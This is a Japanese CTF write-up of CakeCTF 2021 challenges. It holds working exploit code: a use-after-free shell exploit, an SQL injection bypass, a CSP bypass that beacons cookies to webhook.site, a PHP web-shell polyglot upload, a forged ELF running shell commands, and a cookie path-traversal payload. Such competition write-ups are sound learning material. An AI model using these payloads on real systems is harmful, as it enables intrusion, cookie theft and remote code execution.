8/28 - 8/29という日程で開催された。zer0ptsで参加して1位。やったー。
#CakeCTF 2021 is over! Thank you for playing!
— ptr-yudai (@ptrYudai) August 29, 2021
Congratulations to zer0pts, ./Vespiary, and TSG! pic.twitter.com/l7YXfdaGpd
(9/29追記) 賞品(マグカップ、タオル、コースター)が届いた。かわいい。
CakeCTFの賞品が届きました かわいい! ありがとうございます! pic.twitter.com/Ewo5iy6SYJ
— st98 (@st98_) September 29, 2021
- [Web 110] MofuMofu Diary (80 solves)
- [Pwn 113] UAF4b (75 solves)
- [Misc 143] Break a leg (44 solves)
- [Misc 173] telepathy (29 solves)
- [Cheat 196] Kingtaker (22 solves)
- [Web 196] travelog (22 solves)
- [Web 204] travelog again (20 solves)
- [Rev 214] ALDRYA (18 solves)
- [Rev 204] rflag (20 solves)
- [Web 247] My Nyamber (13 solves)
- [Web 266] ziperatops (11 solves)
- [Cheat 289] Yoshi-Shogi (9 solves)
[Web 110] MofuMofu Diary (80 solves)
2回目以降のアクセスのために画像のキャッシュがセッションに保存されている。Cookieには、セッションIDのほかに {"data":[{"name":"images\/01.jpg","description":"Half sleeping cat"}],"expiry":1630800898}
のようにキャッシュされた画像の情報がJSONで保存されている。
JSONの expiry
はキャッシュが破棄される時刻であり、もしそれを過ぎていれば、以下のようにWebサーバはCookieの情報をもとに再度画像を取得してセッションに保存する。
$images = glob('images/*.jpg'); $expiry = time() + 60*60*24*7; foreach($images as $image) { $text = preg_replace('/\\.[^.\\s]{3,4}$/', '.txt', $image); $description = trim(file_get_contents($text)); array_push($results, array( 'name' => $image, 'description' => $description )); $_SESSION[$image] = img2b64($image); } $cookie = array('data' => $results, 'expiry' => $expiry); setcookie('cache', json_encode($cookie), $expiry);
画像の取得先もユーザが操作できるから、/flag.txt
も読めてしまう。%7B%22data%22%3A%5B%7B%22name%22%3A%22%2Fflag.txt%22%2C%22description%22%3A%22Half%20sleeping%20cat%22%7D%5D%2C%22expiry%22%3A0%7D
をCookieに入れてやるとフラグが得られる。
CakeCTF{4n1m4ls_4r3_h0n3st_unl1k3_hum4ns}
[Pwn 113] UAF4b (75 solves)
楽しいUAF。以下のような構造体を悪用してどこかのディレクトリにあるファイルを読み出せばよいらしい。system
や構造体のアドレスなど色々教えてくれて優しい。
typedef struct { void (*fn_dialogue)(char*); char *message; } COWSAY;
cowsay
をfree
- そのままメッセージの変更をしようとすると
cowsay
があったアドレスに書き込まれるので、cowsay->fn_dialogue
をsystem
に書き換え - またメッセージの変更、
sh
と入力 cowsay->fn_dialog(cowsay->message)
を実行
このような手順でシェルが取れる。cat f*; exit
でフラグが得られる。
import re from pwn import * s = remote('pwn.cakectf.com', 9001) s.recvuntil(b'<system> = ') system = int(s.recvline(), 16) print('system', system) s.recvuntil(b'> ') s.sendline(b'3') s.recvuntil(b'> ') s.sendline(b'4') r = s.recvuntil(b'> ') addr = int(re.findall(r'(0x[0-9a-f]+).+fn_dialogue', r.decode())[0], 16) payload = b'' payload += p64(system) s.sendline(b'2') s.sendline(payload) s.recvuntil(b'> ') s.sendline(b'2') s.sendline(b'sh') s.recvuntil(b'> ') s.sendline(b'1') s.sendline(b'cat f*; exit') s.interactive() s.close()
CakeCTF{U_pwn3d_full_pr0t3ct10n_b1n4ry!N0w_u_kn0w_h0w_d4ng3r0us_UAF_1s!_ea2e5f3e}
[Misc 143] Break a leg (44 solves)
LSBに情報が埋め込まれるタイプのステガノ問なんだけれども、data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)]
からわかるようにLSBがクリアされないままORで書き込まれてしまっている。
幸いにもフラグの埋め込みは何度も繰り返されているので、フラグの各ビットについて、対応するすべてのピクセルのLSBのうち一度でも 0
が出現していれば 0
、そうでなければ 1
とわかる。フラグのビット数はわからないが、暴力解法で探せばよい。
import itertools from PIL import Image def split(s, n): return [s[i:i+n] for i in range(0, len(s), n)] def go(s, n): t = split(s, n)[:-8] res = [] for x in range(n): c = 0xff for v in t: c &= v[x] res.append(c) return [int(''.join(str(b) for b in x[::-1]), 2) for x in split(res, 8)][::-1] im = Image.open('chall.png') s = list(itertools.chain.from_iterable(im.getdata())) t = [x & 1 for x in s] for x in range(2, 1000): res = bytes(go(t, x)) if b'\x00\x00\x00' in res: continue print(res)
CakeCTF{1_w1sh_y0u_can_h1t_the_gr0und_runn1ng_fr0m_here;)-d7bcfa74ad4bc}
[Misc 173] telepathy (29 solves)
以下のように /
にアクセスするとフラグを返すバックエンドのWebサーバがあるが、
func run() error { e := echo.New() e.File("/", "public/flag.txt") if err := e.Start(":8000"); err != nil { return err } return nil }
フロントエンドのnginxは \w\{.*\}
という正規表現にマッチする文字列を全部 I'm sending the flag to you by telepathy... Got it?
に置換してしまう。
location / { # I'm getting the flag with telepathy... proxy_pass http://app:8000/; # I will send the flag to you by HyperTextTelePathy, instead of HTTP header_filter_by_lua_block { ngx.header.content_length = nil; } body_filter_by_lua_block { ngx.arg[1] = ngx.re.gsub(ngx.arg[1], "\\w*\\{.*\\}", "I'm sending the flag to you by telepathy... Got it?\n"); } }
バックエンドのサーバがこの正規表現に当てはまらないようにフラグを返すようにすればよい。Range
ヘッダで {
より後ろのコンテンツを返すようにさせるとフラグが得られる。
$ curl misc.cakectf.com:18100 -H "Range: bytes=8-" r4ng3-0r4ng3-r4ng3}
[Cheat 196] Kingtaker (22 solves)
Helltaker的な倉庫番っぽいゲームが与えられる。緑色のyoshikingさんを王冠まで導けば次のステージに進める。岩や壁は通行不可だが、段ボール箱は進行方向に通行不可のオブジェクトがない限り移動させられる。
左下に表示されている数値は残りの移動可能な回数であり、移動したり段ボール箱を押したりすると減少する。
最終ステージは明らかに攻略不能なので、カテゴリ名のとおりチートで突破する必要がある。
このゲームはGameMaker製で、Web向けにエクスポートされたらしいことがHTMLの gm4html5_div_class
というクラス名や GameMaker_Init
という関数名から推測できる。ゲームのコードはJavaScriptで記述されているが、javascript-obfuscatorによって難読化されてしまっている。仕方がないので適当なフォーマッタである程度読みやすくしておく。
まず通行できないオブジェクトの上を通行できるようにしたい。それっぽい wall
のような文字列を探してみると、以下のようなコードが見つかった。プロパティ名の意味はよくわからないが、値を適当に変えていると、_w2
を 0
に変えたときに壁抜けができるようになった。
}, { '_B1': 'obj_wall', '_w2': 0x2, '_m2': !0x0, 'parent': -0x64, '_t2': [], '_u2': [] }, {
これで通行不可のオブジェクトを無視して移動できるようになったが、先ほどのスクリーンショットで見たように移動回数の問題も解決する必要がある。ステージごとに異なる移動回数が設定されているが、その設定の処理を見つけることはできないだろうか。
第3ステージの移動回数は41回に設定されている。0x29
で検索してみると以下のようなコードが見つかった。ここにブレークポイントを置いてみるとちょうど第3ステージに突入した際に停止した。代入される値を50に変えてみると移動回数も50回に増え、確かにこの処理が移動回数の設定をしていることがわかった。
ついでに _0xcf60a1(0x7bb)
の内容を確認すると、これは _n4
という文字列だった。
function _03(_0x4f72bf) { var _0xcf60a1 = _0xffd866; global[_0xcf60a1(0x7bb)] = 0x29; }
ほかに global
の _n4
を参照している箇所を探すと、以下のように最終ステージの移動回数の設定をしているであろう処理が見つかった。0x3
を48に変えてやると、移動回数を48回にまで増やすことができた。
function _13(_0x1dbf6d) { global['_n4'] = 0x3; }
このまま王冠に触れるとフラグが表示された。
CakeCTF{M4yb3_I_c4n_s3rv3_U_inst34d?}
[Web 196] travelog (22 solves)
ブログ。各投稿の本文でHTML Injectionが可能だが、default-src 'none'; script-src 'nonce-(nonce)' 'unsafe-inline';style-src 'nonce-(nonce)' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/; img-src 'self'; connect-src http: https:; base-uri 'self'
というやや厳しめなCSPが有効になっている。
XSS botのコードを確認すると User-Agent
にフラグが設定されていることがわかった。つまり外部のURLにアクセスさせるだけでフラグが得られるようだが、残念ながら外部のURLを報告してもXSS botがやって来ることはない。なんとかしてCSPをバイパスする必要がある。
const crawl = async (post_url) => { if (!post_url.match(/\/post\/[0-9a-f]{32}\/[0-9a-f]{32}$/)) { return; } const url = base_url + post_url; const browser = await puppeteer.launch(browser_option); try { const page = await browser.newPage(); page.setUserAgent(flag); // [!] steal this flag await page.goto(url, {timeout: 3000}); await wait(3000); await page.close(); } catch(e) { } await browser.close(); }
設定されているCSPを見ていくと、connect-src
ディレクティブの http: https:
というガバガバっぷりが気になった。connect-src
ディレクティブは a
要素の ping
属性や fetch
などで読み込めるURLを制限するものだが、XSS botはリンクをクリックしないし、任意のJavaScriptコードを実行できるわけでもないので悪用はできないように思える。
ちょっと悩んで、link
要素の preload
を思い出す。<link rel="preload" href="https://webhook.site/…" as="fetch">
という内容で投稿してXSS botに報告すると、XSS botがWebhook.siteにアクセスしてきた。
CakeCTF{CSP_1s_n0t_4_s1lv3r_bull3t!_bang!_bang!}
これはfirst bloodが取れたら賞品がもらえるという問題だったのだけれども、./Vespiaryに15分負けた😭
[Web 204] travelog again (20 solves)
travelogのリベンジ問らしい。今度は以下のようにフラグが User-Agent
でなくCookieに格納されるようになった。httpOnly
が false
に設定されているから、JavaScriptコードの実行ができれば document.cookie
からアクセスできるはず。
const browser = await puppeteer.launch(browser_option); try { const page = await browser.newPage(); await page.setCookie({ "domain":"challenge:8080", "name":"flag", "value":flag, "sameSite":"Strict", "httpOnly":false, "secure":false }); await page.goto(url, {timeout: 3000}); await wait(3000); await page.close(); } catch(e) { console.log("[-] " + e); }
travelogでは使わなかったが、このブログサービスでは以下のようにファイルのアップロードもできる。ファイルのフォーマットは imghdr
によってチェックされており、JPEG以外は受け付けないらしい。
@app.route('/upload', methods=['POST']) def upload(): if 'user_id' not in session: abort(404) images = request.files.getlist('images[]') for f in images: with tempfile.NamedTemporaryFile() as t: f.save(t.name) f.seek(0) if imghdr.what(t.name) != 'jpeg': abort(400) for f in images: name = os.path.basename(f.filename) if name == '': abort(400) else: f.save(PATH_IMAGE.format(user_id=session['user_id'], name=name)) return 'OK'
アップロードしたファイルは以下のように /uploads/<user_id>/<name>
から閲覧できる。send_file
が使われているようだが、なぜかMIMEタイプが設定されていない。
アップロード処理では拡張子まではチェックされていないし、ファイル名は保持される。JPEGとJavaScriptのpolyglotを hoge.js
のようなファイル名でアップロードすれば、Content-Type: application/javascript
でそのJSファイルが返ってくるはずだ。
@app.route('/uploads/<user_id>/<name>') def uploads(user_id, name): user_id = user_id.lower() if re.fullmatch('[0-9a-f]{32}', user_id) is None: abort(404) return send_file(PATH_IMAGE.format(user_id=user_id, name=name))
imghdr
のコードを確認してみると、なんとJPEGであるかどうかは7バイト目から10バイト目が JFIF
または Exif
かどうかだけでチェックされている。これなら AAAAAAJFIF
でもJPEGと判定されてしまう。
さて、これで script
要素で読み込めば実行可能なJSファイルがアップロードできることがわかったが、残念ながらCSPの script-src
は 'nonce-(nonce)' 'unsafe-inline'
であり、そのままでは実行できない。なんとかできないだろうか。
ブログの記事ページをよく見てみると、HTML Injectionが可能な箇所より後ろで ../../show_utils.js
が読み込まれていることがわかる。base-uri
は 'self'
に設定されているから、<base href="/uploads/(ユーザID)/a/b/">
を挿入してやればアップロードした show_utils.js
が読み込まれるようにできるはずだ。
<div class="uk-container"> (ここに内容が入る) </div> <hr> <div class="uk-grid-row" uk-grid> <div> <a href="#" class="uk-icon-button" uk-icon="copy" id="share" uk-tooltip="Copy URL to clipboard"></a> </div> … </div> <script nonce="69P8FUHI9EoaHuu3gkPa3w==" src="../../show_utils.js"></script>
show_utils.js
というファイル名で AAAAAAJFIF=navigator.sendBeacon('https://webhook.site/…',document.cookie)
という内容のファイルをアップロードし、<base href="/uploads/(ユーザID)/a/b/">
という内容の記事を作成する。出来上がった記事をXSS botに報告するとフラグが得られた。
CakeCTF{I'll_n3v3r_trust_HTML:angry:}
[Rev 214] ALDRYA (18 solves)
ELFがmaliciousでないかどうかチェックするALDRYAというシステムを作ったらしい。以下のファイルが与えられている。
aldrya
(与えられたELFがALDRYA形式のシグネチャにマッチしているか確認し、もしマッチしていればそのELFを実行してくれるELF)sample.elf
(Hello, Aldrya!
と挨拶するだけのELF)sample.aldrya
(sample.elf
のシグネチャ)server.py
(サーバで動いているコード、./aldrya (アップロードしたファイル) ./sample.aldrya
を実行してくれる)
まずALDRYAがどのようなフォーマットであるか確認する必要がある。IDA Freewareに aldrya
を投げてみると綺麗にデコンパイルされた。
Pythonに書き直すと大体以下のようなコードになる。ELFを0x100バイトを1チャンクとして区切ってそれぞれ32ビットのハッシュに変換し、それをALDRYA形式のファイルに格納されているハッシュと比較しているようだ。
import struct def u32(x): return struct.unpack('<I', x)[0] def ror(x, n): return ((x >> n) | (x << (32 - n))) & 0xffffffff def calc_hash(buf): res = 0x20210828 buf = buf.ljust(0x100, b'\x00') for i in range(0x100): res ^= buf[i] res = ror(res, 1) return res class Aldrya(object): def __init__(self, elf, aldrya): self._fp_elf = open(elf, 'rb') self._fp_aldrya = open(aldrya, 'rb') self._chunk_num = None def _validate_chunk(self): legit_hash = u32(self._fp_aldrya.read(4)) calced_hash = calc_hash(self._fp_elf.read(0x100)) if legit_hash != calced_hash: return False return True def _validate_size(self): self._chunk_num = u32(self._fp_aldrya.read(4)) # implement medoi self._fp_elf.seek(0) return True def validate(self): if self._fp_elf.read(4) != b'\x7fELF': return False if not self._validate_size(): return False for _ in range(self._chunk_num): if not self._validate_chunk(): return False return True aldrya = Aldrya('sample.elf', 'sample.aldrya') print(aldrya.validate())
0x100バイトのチャンクが32ビットに変換される calc_hash
の処理を見てみると、1バイトを読み込んでXORし、1ビットだけ右ローテートすることを繰り返していることがわかる。
XORと1ビットずつの右ローテートによって計算されていることを考えると、各チャンクにつき32バイトの 0
と 1
からなる好きなバイト列を書き込めれば、ハッシュ値を任意の値に操作することができそうだ。
ということで、sample.aldrya
にマッチするような細工されたELFを作っていく。まず加工がしやすいなるべく小さなELFを用意する。以前Plaid CTF 2020のgolf.soのwriteupを参考にDiceCTF 2021のTI-1337 Plus CEで作ったELFをベースに、cat /f*
を実行する512バイトのELFが出来上がった。各チャンクの最後の32バイトは A
で埋められており、自由に書き換えられるようになっている。
BITS 64 ; ref: https://starfleetcadet75.github.io/posts/plaid-2020-golf-so/ ehdr: ; Elf64_Ehdr db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident times 8 db 0 dw 3 ; e_type dw 0x3e ; e_machine dd 0x41424344 ; e_version dq shell ; e_entry dq phdr - $$ ; e_phoff dq 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 2 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf64_Phdr dd 1 ; p_type dd 7 ; p_flags dq 0 ; p_offset dq $$ ; p_vaddr dq $$ ; p_paddr dq progsize ; p_filesz dq progsize ; p_memsz dq 0x1000 ; p_align phdrsize equ $ - phdr ; PT_DYNAMIC segment dd 2 ; p_type dd 7 ; p_flags dq dynamic ; p_offset dq dynamic ; p_vaddr dq dynamic ; p_paddr dq dynsize ; p_filesz dq dynsize ; p_memsz dq 0x1000 ; p_align times 80 - 32 db 0x0 times 32 db 0x41 shell: push rsp pop rdi ; /bin/sh push 0 push rsp pop rdi push 0x6e69622f pop rax xor dword [rdi], eax push 0x68732f pop rax xor dword [rdi+4], eax ; -c push 0 push rsp pop rcx push 0x632d pop rax xor dword [rcx+0], eax ; cat /f* push 0 push rsp pop rdx push 0x20746163 pop rax xor dword [rdx], eax push 0x2a662f pop rax xor dword [rdx+4], eax push 0 push rdx push rcx push rdi push rsp pop rsi push 0 pop rdx ; execve("/bin/sh", {"/bin/sh", "-c", "cat /f*"}, NULL) push 59 pop rax syscall ; exit(0) push 0 pop rdi push 60 pop rax syscall dynamic: dt_init: dq 0xc, shell dt_strtab: dq 0x5, shell dt_symtab: dq 0x6, shell times (512 - 32 - ($ - $$)) db 0 times 32 db 0x41 dynsize equ $ - dynamic progsize equ $ - $$
続いて、sample.aldrya
のシグネチャにマッチするようにこのELFの各チャンクの最後32バイトを変更するPythonスクリプトを書く。
import struct from aldrya import Aldrya, calc_hash def u32(x): return struct.unpack('<I', x)[0] def p32(x): return struct.pack('<I', x) with open('malelf', 'rb') as f: s = f.read().ljust(0x200, b'\x00') with open('sample.elf', 'rb') as f: f.seek(len(s)) s += f.read() with open('sample.aldrya', 'rb') as f: num = u32(f.read(4)) hashes = [] for _ in range(num): hashes.append(u32(f.read(4))) target = calc_hash(s[:0x100], size=0x100-0x20) ^ hashes[0] buf = list(s[:0x100]) buf[-32:] = [1 if p32(target)[i // 8] & (1 << (i % 8)) else 0 for i in range(32)] s = bytes(buf) + s[0x100:] target = calc_hash(s[0x100:0x200], size=0x100-0x20) ^ hashes[1] buf = list(s[0x100:0x200]) buf[-32:] = [1 if p32(target)[i // 8] & (1 << (i % 8)) else 0 for i in range(32)] s = s[:0x100] + bytes(buf) + s[0x200:] with open('result.elf', 'wb') as f: f.write(s) a = Aldrya('sample.elf', 'sample.aldrya') print(a.validate()) b = Aldrya('result.elf', 'sample.aldrya') print(b.validate())
完成した result.elf
をアップロードするとフラグが得られる。
CakeCTF{jUst_cH3ck_SHA256sum_4nd_7h47's_f1n3}
[Rev 204] rflag (20 solves)
与えられた実行ファイルを実行してみると、毎回ランダムに生成される32バイトのhex stringを当てろと言われる。ヒントとして、文字列を入力するとhex stringの何文字目でそれがマッチしているか4回まで確認できる。
^.+$
や [0-9]
などを入力するとちゃんとマッチすることから、正規表現が使われていることがわかる。ある箇所の文字がある正規表現にマッチしているかしていないかを4回確認できるということは、最終的に4ビットの情報が得られるということを意味する。
[13579bdf]
、[2367abef]
、[4567cdef]
、[89abcdef]
の4つの正規表現を使うとhex stringの全体が特定できる。ソルバーを書こう。
from pwn import * def q(s): p.recvuntil(': ') p.sendline(s) p.recvuntil('Response: ') return eval(p.recvline()) rs = ['[13579bdf]', '[2367abef]', '[4567cdef]', '[89abcdef]'] p = remote('misc.cakectf.com', 10023) a = [q(r) for r in rs] res = [0 for _ in range(32)] for i, x in enumerate(a): for j in x: res[j] |= 1 << i res = ''.join(hex(x)[2:] for x in res) p.sendline(res) p.interactive()
これを実行するとフラグが得られる。
$ python3 solve.py [+] Opening connection to misc.cakectf.com on port 10023: Done [*] Switching to interactive mode Okay, what's the answer? Correct! FLAG: CakeCTF{n0b0dy_w4nt5_2_r3v3r53_RUST_pr0gr4m}
x0r19x91さんがRustコードにデコンパイルしていてすごいなあという気持ちになった。
[Web 247] My Nyamber (13 solves)
猫に割り振られたマイニャンバーなる番号、または猫の名前から個ニャン情報を引き出せるWebアプリケーションらしい。
コードは以下のように大変シンプルな作りになっている。マイニャンバーで検索をかける場合には parseInt
で数値化を、猫の名前で検索をかける場合には '
、\
、空白文字が名前に含まれていないかの確認を施した上でSQLに展開しクエリを実行している。猫の名前で検索する場合には、配列を使うことで複数の個ニャン情報を引き出せるようだ。
const express = require("express"); const sqlite3 = require("sqlite3"); const path = require('path'); const app = express(); const db = new sqlite3.Database('database.db'); app.disable('etag'); /** * Run SQL statement */ function querySqlStatement(stmt) { return new Promise((resolve, reject) => { db.get(stmt, (err, row) => { if (err) reject(err); if (row === undefined) reject("Not found"); else resolve(row); }); }); } /** * Find neko by name */ async function queryNekoByName(neko_name, callback) { let filter = /(\'|\\|\s)/g; let result = []; if (typeof neko_name === 'string') { /* Process single query */ if (filter.exec(neko_name) === null) { try { let row = await querySqlStatement( `SELECT * FROM neko WHERE name='${neko_name}'` ); if (row) result.push(row); } catch { } } } else { /* Process multiple queries */ for (let name of neko_name) { if (filter.exec(name.toString()) === null) { try { let row = await querySqlStatement( `SELECT * FROM neko WHERE name='${name}'` ); if (row) result.push(row); } catch { } } } } callback(result); } /** * Find neko by My Nyamber */ async function queryNekoById(neko_id, callback) { let nid = parseInt(neko_id); if (!isNaN(nid)) { try { let row = await querySqlStatement( `SELECT * FROM neko WHERE nid=${nid}` ); if (row) { callback([row]); return; } } catch { } } /* Invalid ID or result not found */ callback([]); } app.use(express.static(path.join(__dirname, 'public'))) app.get("/api/neko", function(req, res, next) { if (req.query.id == null && req.query.name == null) { /* Missing required parameters */ res.status(400); res.json({reason: 'My Nyamber is not set'}); } else { try { if (req.query.id) { /* Find by My Nyamber */ queryNekoById(req.query.id, result => { res.json({result}); }); } else { /* Find by name */ queryNekoByName(req.query.name, result => { res.json({result}); }); } } catch (e) { res.status(500); res.json({reason: 'SQL query failed :cry:'}); } } }); app.listen(8080);
一見脆弱性はないように思えるが、猫の名前の検索時に実行されるフィルターの挙動を検証していた際に不思議なことに気づいた。以下のように複数回 filter.exec
を実行すると、どういうわけかその結果が毎回変わってしまう。
let filter = /(\'|\\|\s)/g; const p = "'"; for (let i = 0; i < 10; i++) { console.log(filter.exec(p)); }
$ node test.js [ "'", "'", index: 0, input: "'", groups: undefined ] null [ "'", "'", index: 0, input: "'", groups: undefined ] null [ "'", "'", index: 0, input: "'", groups: undefined ] null [ "'", "'", index: 0, input: "'", groups: undefined ] null [ "'", "'", index: 0, input: "'", groups: undefined ] null
MDNを見てみると「JavaScriptの RegExp
オブジェクトは、global
または sticky
フラグが設定されている場合 (例えば /foo/g
や /foo/y
) はステートフルになります」という記述があった。確かに filter
には g
フラグが設定されている。これを使えばフィルターをバイパスしてSQLインジェクションに持ち込めそうだ。
以下のようなスクリプトを書いて実行するとフラグが得られた。
import requests payload = "' union select flag,2,3,4 from flag;" r = requests.get('http://web.cakectf.com:8002/api/neko', params={ f'name[{i}]': payload for i in range(10) }) print(r.text)
$ python solve.py {"result":[{"nid":"CakeCTF{BUG-REPORT-ACCEPTED:Reward=222-Matatabi-Sticks}","species":2,"name":3,"age":4}]}
[Web 266] ziperatops (11 solves)
1個以上のZIPをアップロードすると、ZIPに含まれるファイルの名前を列挙してくれるWebアプリケーションらしい。
これもまたコードはシンプル。index.php
は以下のような内容になっている。setup
という utils.php
で定義されている関数によって、アップロードされたZIPファイルを一時ディレクトリに移動させている。エラーが発生するか、ZIPに格納されているファイル名の列挙が終われば cleanup
によって一時ディレクトリを削除している。
<?php require_once 'utils.php'; function ziperatops() { /* Upload files */ list($dname, $err) = setup('zipfile'); if ($err) { cleanup($dname); return array(null, $err); } /* List files in the zip archives */ $results = array(); foreach (glob("temp/$dname/*") as $path) { $zip = new ZipArchive; $zip->open($path); for ($i = 0; $i < $zip->count(); $i++) { array_push($results, $zip->getNameIndex($i)); } } /* Cleanup */ cleanup($dname); return array($results, null); } list($results, $err) = ziperatops(); ?> …
setup
と cleanup
の実装を確認する。utils.php
は以下のような内容になっている。setup
では、まず一時ディレクトリのディレクトリ名を sha1(uniqid())
で生成している。uniqid
に第二引数が渡されていないのでかなり頑張れば予測できそうではあるが、リモートでは難しいだろう。
アップロードされた各ZIPファイルについて、ZIPファイル自身のファイル名をチェックしている。もしチェックに引っかかればその場で処理が中断され、先ほど確認したように一時ディレクトリが削除される。
cleanup
では、glob
で一時ディレクトリに存在するZIPファイルを削除した後にディレクトリを削除している。
<?php /** * Upload files */ function setup($name) { /* Create a working directory */ $dname = sha1(uniqid()); @mkdir("temp/$dname"); /* Check if files are uploaded */ if (empty($_FILES[$name]) || !is_array($_FILES[$name]['name'])) return array($dname, null); /* Validation */ for ($i = 0; $i < count($_FILES[$name]['name']); $i++) { $tmpfile = $_FILES[$name]['tmp_name'][$i]; $filename = $_FILES[$name]['name'][$i]; if (!is_uploaded_file($tmpfile)) continue; /* Check the uploaded zip file */ $zip = new ZipArchive; if ($zip->open($tmpfile) !== TRUE) return array($dname, "Invalid file format"); /* Check filename */ if (preg_match('/^[-_a-zA-Z0-9\.]+$/', $filename, $result) !== 1) return array($dname, "Invalid file name: $filename"); /* Detect hacking attempt (This is not necessary but just in case) */ if (strstr($filename, "..") !== FALSE) return array($dname, "Do not include '..' in file name"); /* Check extension */ if (preg_match('/^.+\.zip/', $filename, $result) !== 1) return array($dname, "Invalid extension (Only .zip is allowed)"); /* Move the files */ if (@move_uploaded_file($tmpfile, "temp/$dname/$filename") !== TRUE) return array($dname, "Failed to upload the file: $dname/$filename"); } return array($dname, null); } /** * Remove a directory and its contents */ function cleanup($dname) { foreach (glob("temp/$dname/*") as $file) { @unlink($file); } @rmdir("temp/$dname"); } ?>
さて、ここまで実装を確認してきたが、よく見るとところどころで怪しげな点がある。列挙していくと、
- 一時ディレクトリが作成される
temp/
ディレクトリはドキュメントルート下にあり、アクセスできる - ZIPのファイル名のチェックに使われる正規表現が
/^.+\.zip/
と$
が使われていない- このため、
a.zip.php
のように実際には拡張子が.zip
でなくても通ってしまう
- このため、
cleanup
でのファイルの列挙にglob
が使われているglob("temp/$dname/*")
はドットから始まるファイルを列挙しない。したがって、.a.zip
のようなファイルをアップロードするとそのファイルは削除されない。また、ディレクトリにファイルが残っているためrmdir
も失敗する
move_uploaded_file
が失敗すると一時ディレクトリの名前がエラーメッセージとして表示される
という感じ。まとめると、.a.zip.php
という名前でZIPとPHPのpolyglotのファイルをアップロードし、一時ディレクトリ下に移動した .a.zip.php
にアクセスするとPHPコードが実行されるということになる。一時ディレクトリの名前については、a.zip.(aが300文字続く)
のような長い名前のファイルをアップロードすればエラーメッセージから得られる。
この処理を行うスクリプトを書いて実行するとフラグが得られる。
import requests import re with open('a.zip', 'rb') as f: s = f.read() BASE_URL = 'http://web.cakectf.com:8004/' files = {} files['zipfile[0]'] = ('.a.zip.php', s + b'<?php passthru("cat /f*"); ?>') files['zipfile[1]'] = ('.a.zip.' + 'a' * 300, s) r = requests.post(BASE_URL, files=files) d = re.findall(r'([0-9a-f]+)/', r.text)[0] r = requests.get(BASE_URL + 'temp/' + d + '/.a.zip.php') print(r.text)
CakeCTF{uNd3r5t4nd1Ng_4Nd_3xpl01t1Ng_f1l35y5t3m_cf1944}
[Cheat 289] Yoshi-Shogi (9 solves)
Rust製のLinuxで動くGUIの将棋ゲーが与えられる。次の画像のようなハンデのもとで勝てばフラグが得られるらしい。鬼か?
これではとても勝てないので、yoshikingさんにもっと手加減してもらえるようチートを試みる。逆アセンブルして関数名を眺めていると、_ZN11yoshi_shogi10init_board17h76976c8c94fadf3fE
(デマングルすると yoshi_shogi::init_board::h76976c8c94fadf3f
) という気になる関数が見つかった。駒の配置の初期化をしているのだろうか。
雑に mov
と BYTE PTR
でgrepしてみると確かにそうっぽいなあという気がしてくる。試しに0を代入してみるといくつかyoshikingさん側の駒が消えた。素晴らしい。
… ae45a: c6 40 08 15 mov BYTE PTR [rax+0x8],0x15 ae47c: c6 40 01 14 mov BYTE PTR [rax+0x1],0x14 ae49e: c6 40 07 14 mov BYTE PTR [rax+0x7],0x14 ae4c0: c6 40 02 13 mov BYTE PTR [rax+0x2],0x13 ae4e2: c6 40 06 13 mov BYTE PTR [rax+0x6],0x13 ae504: c6 40 03 12 mov BYTE PTR [rax+0x3],0x12 ae526: c6 40 05 12 mov BYTE PTR [rax+0x5],0x12 ae548: c6 40 04 0f mov BYTE PTR [rax+0x4],0xf ae56e: c6 40 01 10 mov BYTE PTR [rax+0x1],0x10 ae594: c6 40 07 11 mov BYTE PTR [rax+0x7],0x11 …
yoshi_shogi::init_board::h76976c8c94fadf3f
中の処理を書き換えてyoshikingさん側の駒をできるだけ削除してみたものの、通常の盤面からハンデありの盤面に切り替えると、消滅したはずの歩兵たちがと金として墓から蘇ってきてしまった。これは困った。
yoshi_shogi::init_board::h76976c8c94fadf3f
だけでなくバイナリの全体を mov
と BYTE PTR
でgrepしてみると、以下のように yoshi_shogi::init_board::h76976c8c94fadf3f
外で駒を配置している処理が見つかった。これらも書き換える。
… a5cc3: c6 00 1c mov BYTE PTR [rax],0x1c a5cf0: c6 40 01 1c mov BYTE PTR [rax+0x1],0x1c a5d1e: c6 40 02 1c mov BYTE PTR [rax+0x2],0x1c a5d4c: c6 40 03 1c mov BYTE PTR [rax+0x3],0x1c a5d7a: c6 40 04 1c mov BYTE PTR [rax+0x4],0x1c a5da8: c6 40 05 1c mov BYTE PTR [rax+0x5],0x1c a5dd6: c6 40 06 1c mov BYTE PTR [rax+0x6],0x1c a5e04: c6 40 07 1c mov BYTE PTR [rax+0x7],0x1c a5e32: c6 40 08 1c mov BYTE PTR [rax+0x8],0x1c …
実行するといい感じにyoshikingさんに手加減をしてもらえるようになった。
ポチポチ駒を動かしているとフラグが得られた。
CakeCTF{https://www.nicovideo.jp/watch/sm19221643}